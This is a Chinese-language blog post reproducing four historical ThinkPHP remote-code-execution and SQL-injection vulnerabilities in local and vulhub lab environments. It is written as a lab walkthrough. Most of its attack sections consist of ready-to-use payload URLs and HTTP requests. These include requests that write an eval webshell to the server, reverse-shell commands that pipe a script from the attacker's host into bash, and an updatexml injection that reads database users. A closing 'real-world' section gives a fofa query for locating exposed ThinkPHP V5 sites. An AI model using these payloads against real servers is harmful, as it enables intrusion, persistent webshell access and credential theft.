web服务框架安全-ThinkPHP漏洞复现

admin 2021年8月12日21:08:16web服务框架安全-ThinkPHP漏洞复现已关闭评论389 views字数 4613阅读15分22秒阅读模式

前言

本篇文章是ThinkPHP服务框架历史漏洞利用复现记录,记录了ThinkPHP历史漏洞利用方式,文章分为简介、安装、漏洞复现、fofa搜索/实战和工具下载六部分,复现4个历史漏洞,复现使用环境为本地及docker vulhub。文中出现的错误和不足之处希望读者指出,谢谢^^

一、Thinkphp简介

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP是按照MVC思想开发的一个框架,也叫TP框架。

优点:

1、快速,稳定的搭建系统程序

2、可以使开发人员经历集中在业务逻辑上,不需要关系程序的底层架构

3、可以节省大量代码,后期的升级、维护、优化十分方便

4、有利于团队的代码风格统一

二、Thinkphp安装

下载地址

```xml
http://www.thinkphp.cn/down.html

使用环境

ThinkPHP_2.2
ThinkPHP_3.1.2
ThinkPHP_5.0.22
ThinkPHP_v5.0.23
vulhub
```

本地搭建Thinkphp

使用PHPStudy搭建,注意需要安装vc9-x86

(1)将下载到的thinkphp 5.0.22解压,把文件复制到网站的根目录WWWweb:

web服务框架安全-ThinkPHP漏洞复现

(2)配置域名,这里是本地,输入本地lP,网站目录WWW/web,点击新增后再点击保存设置并生成配置文件:

web服务框架安全-ThinkPHP漏洞复现

(3) 修改一下网站的运行目录,thinkPHP的入口是在public,在其他设置--打开配置文件--vhosts-conf修改:

web服务框架安全-ThinkPHP漏洞复现

(4) 在documentroot后面加上public,点击保存︰

web服务框架安全-ThinkPHP漏洞复现

重启Apache和MySQL

web服务框架安全-ThinkPHP漏洞复现

(5) 访问测试

xml
http://192.168.11.127/

web服务框架安全-ThinkPHP漏洞复现

三、本地环境复现

1) 验证漏洞是否存在

xml
http://192.168.11.127/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 and it'll execute the phpinfo

显示phpinfo证明漏洞存在

web服务框架安全-ThinkPHP漏洞复现

2) 上线shell

写入一句话木马

xml
http://192.168.11.127/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['ha']);?>

成功写入

web服务框架安全-ThinkPHP漏洞复现

菜刀连接

web服务框架安全-ThinkPHP漏洞复现

web服务框架安全-ThinkPHP漏洞复现

四、Vulhub环境复现

1、ThinkPHP 2.x任意代码执行漏洞

1) 影响版本

xml
ThinkPHP 2.x

2) 漏洞启动

(1) 开启ThinkPHP2.x任意代码执行漏洞

shell
docker-compose up -d

web服务框架安全-ThinkPHP漏洞复现

(2) 验证环境是否开启

shell
docker ps

web服务框架安全-ThinkPHP漏洞复现

3) 漏洞复现

(1) 访问靶机

xml
http://192.168.11.92:8080/

web服务框架安全-ThinkPHP漏洞复现

(2) 验证漏洞是否存在

xml
http://192.168.11.92:8080/index.php?s=/index/index/name/${@phpinfo()}

web服务框架安全-ThinkPHP漏洞复现

(3) RCE POC

xml
http://192.168.11.92:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

web服务框架安全-ThinkPHP漏洞复现

命令执行

POC

```xml
POST /index.php/?s=a/b/c/${@print(eval($_POST[1]))} HTTP/1.1
Host: 192.168.11.92:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=9c61c7aabd7dadb0aaa492e7fe41925d
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

1=system("id");
```

web服务框架安全-ThinkPHP漏洞复现

(4) 反弹shell

准备

shell
bash -i >& /dev/tcp/192.168.10.225/8888 0>&1
python -m SimpleHTTPServer 80

创建好bash和开启python http模式!

xml
1=system("curl 192.168.10.225/shell.sh | bash");

web服务框架安全-ThinkPHP漏洞复现

(5) 直接菜刀连接的payload

xml
http://192.168.11.92:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

web服务框架安全-ThinkPHP漏洞复现

连接成功

web服务框架安全-ThinkPHP漏洞复现

2、Thinkphp5 5.0.22 L 5.1.29远程执行代码漏洞

1) 影响版本

xml
5.0.22 / 5.1.29

2) 漏洞启动

(1) 开启5.0.22漏洞

shell
docker-compose up -d

web服务框架安全-ThinkPHP漏洞复现

(2) 验证漏洞环境是否开启

shell
docker ps

web服务框架安全-ThinkPHP漏洞复现

3) 漏洞复现

(1) 访问靶机

xml
http://192.168.3.14:8080/

web服务框架安全-ThinkPHP漏洞复现

(2) 验证漏洞是否存在

phpinfo payload

xml
http://192.168.3.14:8080/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

web服务框架安全-ThinkPHP漏洞复现

(3) 任意命令执行

payload

xml
http://192.168.3.14:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

web服务框架安全-ThinkPHP漏洞复现

(4) 写入webshell

payload

```xml
http://192.168.3.14:8080/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_a
rray&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=要写入的文件内容或文件内容的url编码
<?php @eval($_POST['h']);?>

<?php eval($_POST[h]);?>

最终
http://192.168.3.14:8080/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_a
rray&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['h']);?>
```

web服务框架安全-ThinkPHP漏洞复现

蚁剑成功连接

web服务框架安全-ThinkPHP漏洞复现

web服务框架安全-ThinkPHP漏洞复现

3、ThinkPHP 5.0.23远程执行代码漏洞

1) 影响版本

xml
ThinkPHP 5.0.0 ~ 5.0.23

2) 漏洞启动

(1) 启动环境

xml
docker-compose up -d

web服务框架安全-ThinkPHP漏洞复现

(2) 验证漏洞环境是否开启

xml
docker ps

web服务框架安全-ThinkPHP漏洞复现

3) 漏洞复现

(1) 访问靶机

xml
http://192.168.3.14:8080/

web服务框架安全-ThinkPHP漏洞复现

(2) 验证漏洞是否存在

```xml
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.3.14:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
```

web服务框架安全-ThinkPHP漏洞复现

(3) 反弹shell

xml
bash -i >& /dev/tcp/192.168.3.20/8888 0>&1
python -m SimpleHTTPServer 80
nc -lvp 8888
curl 192.168.3.20/shell.sh | bash

web服务框架安全-ThinkPHP漏洞复现

4、ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞

1) 影响版本

xml
ThinkPHP < 5.1.23

2) 漏洞启动

(1) 开启环境

xml
docker-compose up -d

web服务框架安全-ThinkPHP漏洞复现

(2) 验证环境是否开启

shell
docker ps

web服务框架安全-ThinkPHP漏洞复现

3) 漏洞复现

(1) 访问靶机

xml
http://192.168.3.20/

web服务框架安全-ThinkPHP漏洞复现

(2) 验证漏洞是否存在

xml
http://192.168.3.20/index.php?ids[]=1&ids[]=2

web服务框架安全-ThinkPHP漏洞复现

(3) 获取mysql数据库用户名密码

构造POC,填写到password框

xml
http://192.168.3.20/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

web服务框架安全-ThinkPHP漏洞复现

五、实战

fofa搜索方式

xml
"ThinkPHP V5" && "十年磨一剑 - 为API开发设计的高性能框架"

web服务框架安全-ThinkPHP漏洞复现

web服务框架安全-ThinkPHP漏洞复现

web服务框架安全-ThinkPHP漏洞复现

六、工具及复现资源

链接:https://pan.baidu.com/s/1D2rd52NwnM7JRnHsLkhrPA
提取码:luy9

web服务框架安全-ThinkPHP漏洞复现

相关推荐: 堆的largebin attack利用

介绍 结构 large bin与其他bin的结构都不同,它多了两个指针fd_nextsize和bk_nextsize,直接说难以理解它的结构,先放一张图后边慢慢说它的结构: 上图是large bin的内部结构,large bin与其他bin的主要区别在于它使用…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月12日21:08:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web服务框架安全-ThinkPHP漏洞复现http://cn-sec.com/archives/456059.html